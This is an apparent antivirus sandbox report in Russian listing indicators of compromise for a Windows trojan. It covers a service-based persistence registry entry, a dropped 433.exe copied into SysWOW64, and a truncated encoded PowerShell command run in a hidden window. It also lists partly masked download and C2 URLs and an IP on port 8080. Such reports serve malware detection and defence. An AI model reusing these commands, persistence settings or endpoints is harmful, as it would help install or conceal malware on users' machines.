Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\dialogiell] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\dialogiell] 'ImagePath' = '"%WINDIR%\SysWOW64\dialogiell.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en PAAjACAAVAByAHAAbQBsAG4AeQB3AG8AIABoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBtAGkAYwByAG8AcwBvAGYAdAAuAGMAbwBtAC8AWQBqAHkAawB2AHoAbgBwACAAIwA+ACAAJABPAGgAZwBhAGcAdwB3AHkAZgBzAGcAPQAnAFoAbgBuAG0AbABvA...
- %HOMEPATH%\433.exe
- %HOMEPATH%\433.exe в %WINDIR%\syswow64\dialogiell.exe
- '14#.#2.151.34':8080
- http://ne#.####dheritagetours.com/wp-admin/bbs5GvOiZQ/
- http://ne#.####dheritagetours.com/cgi-sys/suspendedpage.cgi
- http://bl##.#restique.com/wp-content/themes/yl2jks8/
- http://14#.##.151.34:8080/tlb/vermont/ringin/
- DNS ASK ne#.####dheritagetours.com
- DNS ASK bl##.#restique.com
- '%HOMEPATH%\433.exe'
- '%WINDIR%\syswow64\dialogiell.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en PAAjACAAVAByAHAAbQBsAG4AeQB3AG8AIABoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBtAGkAYwByAG8AcwBvAGYAdAAuAGMAbwBtAC8AWQBqAHkAawB2AHoAbgBwACAAIwA+ACAAJABPAGgAZwBhAGcAdwB3AHkAZgBzAGcAPQAnAFoAbgBuAG0AbABvA...' (со скрытым окном)